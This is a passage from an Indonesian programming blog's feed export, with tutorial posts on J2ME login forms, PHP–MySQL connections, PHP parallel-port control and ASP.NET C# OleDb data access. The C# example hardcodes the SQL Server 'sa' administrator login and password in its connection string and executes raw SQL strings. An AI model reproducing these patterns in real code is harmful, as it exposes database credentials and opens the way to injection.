border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; commandAction(Command c, Displayable d) {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;String label = c.getLabel();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;if&lt;/span&gt;(label.equals(&lt;span style="color: #006080"&gt;&amp;quot;Cancel&amp;quot;&lt;/span&gt;)) {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;destroyApp(&lt;span style="color: #0000ff"&gt;true&lt;/span&gt;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;} &lt;span style="color: #0000ff"&gt;else&lt;/span&gt; &lt;span style="color: #0000ff"&gt;if&lt;/span&gt;(label.equals(&lt;span style="color: #006080"&gt;&amp;quot;Login&amp;quot;&lt;/span&gt;)) {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;validateUser(userName.getString(), password.getString());&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Source : &lt;a href="http://www.maswawa.web.id/index.php/2008/03/01/form-login-j2me.html" target="_blank"&gt;maswawa.web.id&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&amp;#160;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:d63944be-0ff3-4160-bea2-9821c1be774f" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/login" rel="tag"&gt;login&lt;/a&gt;,&lt;a href="http://technorati.com/tags/j2me" rel="tag"&gt;j2me&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2171916487368208624?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2171916487368208624/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2171916487368208624&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2171916487368208624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2171916487368208624'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/04/form-login-j2me.html' title='Form Login J2ME'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-6029749877499684976</id><published>2008-04-03T20:44:00.001+07:00</published><updated>2008-04-03T20:44:57.160+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Melakukan koneksi php ke MySQL</title><content type='html'>&lt;p align="justify"&gt;Beberapa aplikasi web sering menggunakan basis data untuk mengolah dan menyimpan banyak data, seperti contohnya untuk menyimpan data user dan password untuk login. MySQL merupan program yg digunakan untuk mengolah basis data.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Program ini akan otomatis terinstall jika anda menggunakan php triad. Sebelum menggunakan MySQL anda harus melakukan koneksi terlebih dahulu antara php dengan mysql. Berikut ini script untuk melakukan koneksi php ke MySQL , dimana script ini ditulis dalam script PHP.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img src="http://rama03.files.wordpress.com/2008/01/koneksi.jpg" width="417" height="287" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Jika anda menuliskan source code sama seperti diatas maka pada saat anda test di browser anda akan menghasilkan tampilan seperti ini :&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://rama03.wordpress.com/?attachment_id=24"&gt;&lt;img alt="hasil&amp;#160;koneksi" src="http://rama03.files.wordpress.com/2008/01/test.jpg" width="405" height="326" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;selamat mencoba !!!&amp;#8230;&lt;/p&gt;  &lt;p align="justify"&gt;Source : &lt;a href="http://rama03.wordpress.com/2008/01/21/melakukan-koneksi-php-ke-mysql/" target="_blank"&gt;rama03.wordpress.com&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:a9322fd8-9a9b-43c9-95a5-9f2312c083f8" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/koneksi" rel="tag"&gt;koneksi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/php" rel="tag"&gt;php&lt;/a&gt;,&lt;a href="http://technorati.com/tags/mysql" rel="tag"&gt;mysql&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-6029749877499684976?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/6029749877499684976/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=6029749877499684976&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/6029749877499684976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/6029749877499684976'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/04/melakukan-koneksi-php-ke-mysql.html' title='Melakukan koneksi php ke MySQL'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-8628063683308046534</id><published>2008-03-30T17:06:00.001+07:00</published><updated>2008-03-30T17:06:38.223+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Mengendalikan Parallel Port via Web Menggunakan PHP</title><content type='html'>&lt;p align="justify"&gt;Mungkin selama ini kamu mengontrol parallel port menggunakan Visual Basic, delphi, atau C++. Bagaimana jika mau mengontrol parallel port menggunakan PHP? Kenapa menggunakan PHP? Salah satu jawabannya mungkin karena dengan PHP anda bisa mengendalikan parallel port menggunakan Internet jadi tidak terbatas ruang dan waktu, betul????&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Mungkin kamu bisa coba program buatan Andrew Nickson, programnya dibuat untuk menulis data ke parallel port yang pasti menggunakan PHP. Jangan lupa, kamu harus punya APACHE web server dulu ya.... kalo belum punya ya install dulu !&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://imageshack.us/"&gt;&lt;img border="0" alt="Image Hosted by ImageShack.us" src="http://www.epanorama.net/circuits/lptoutphp.gif" width="415" height="351" /&gt;&lt;/a&gt;     &lt;br /&gt;Gambar ini dari Andrew Nickson.Untuk mengakses parallel port menggunakan PHP diperlukan 2 file, yaitu script PHP dan data form yang digunakan untuk mengambil data yang diinputkan user.ini source code dari lptout.php / parallel.php:&lt;/p&gt;  &lt;p align="justify"&gt;source code bisa kamu download &lt;a href="http://www.epanorama.net/circuits/lptoutphp.zip"&gt;disini&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;terima kasih kepada Andrew Nickson...&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://elkaubisa.blogspot.com/2008/03/mengendalikan-parallel-port-via-web.html" target="_blank"&gt;elkaubisa.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:3460bc61-dcda-40d4-ab23-000928420f13" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/php" rel="tag"&gt;php&lt;/a&gt;,&lt;a href="http://technorati.com/tags/port" rel="tag"&gt;port&lt;/a&gt;,&lt;a href="http://technorati.com/tags/web" rel="tag"&gt;web&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-8628063683308046534?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/8628063683308046534/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=8628063683308046534&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8628063683308046534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8628063683308046534'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/03/mengendalikan-parallel-port-via-web.html' title='Mengendalikan Parallel Port via Web Menggunakan PHP'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-1561868583721317166</id><published>2008-03-18T12:14:00.001+07:00</published><updated>2008-03-18T12:14:39.320+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASP.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><title type='text'>ASP.NET C# : Step by Step Akses Database dan menampilkan dalam grid</title><content type='html'>&lt;p align="justify"&gt;Pada artikel ini saya meringkas cara pengaksesan data ke sebuah database SQL dengan ADO.NET, menggunakan C#. Secara singkat mengakses data yang dicontohkan di sini ialah membuka koneksi ke database, mengakses tabelnya, dan menampilkan dalam sebuah datagrid.&lt;/p&gt;  &lt;p align="justify"&gt;1. Membuka Koneksi Database&lt;/p&gt;  &lt;p align="justify"&gt;Untuk mengakses data, kita menggunakan namespace berikut:&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;div align="justify"&gt;   &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;     &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;       &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;using&lt;/span&gt; System;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;using&lt;/span&gt; System.Data;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;using&lt;/span&gt; System.Data.OleDb;&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Di sini kita menggunakan OleDb untuk mengakses data sql server. Sebetulnya kita bisa juga menggunakan namespace SqlClient, seperti berikut ini:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;    &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;using&lt;/span&gt; System.Data.SqlClient;&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Pada OleDb ini, kita menggunakan dua buah Class OleDbConnection dan OleDbCommand.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Contoh selengkapnya seperti tampak pada kode berikut ini. Query kita eksekusi dengan menggunakan OleDbCommand yang kemudian dimasukkan dalam OleDbDataAdapter, dan disajikan dalam DataSet.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;    &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;namespace&lt;/span&gt; WebApplication1 {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;class&lt;/span&gt; apClsConnectData {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; apClsConnectData() {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;public&lt;/span&gt; DataSet DataConnect(&lt;span style="color: #0000ff"&gt;string&lt;/span&gt; sSQL) {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;string&lt;/span&gt; strCon = &lt;span style="color: #006080"&gt;&amp;quot;Provider=SQLOLEDB.1; Data Source = 192.168.88.108; InitialCatalog= apDocumentation;&amp;quot;&lt;/span&gt; + &lt;span style="color: #006080"&gt;&amp;quot; User ID =sa; Password=widya&amp;quot;&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;OleDbConnection cn = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; OleDbConnection(strCon);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;cn.Open() ;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;OleDbCommand cm = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; OleDbCommand(sSQL,cn);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;OleDbDataAdapter da = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; OleDbDataAdapter();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;da.SelectCommand = cm;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;DataSet ds = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; DataSet();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;da.Fill(ds);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;return&lt;/span&gt; ds;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      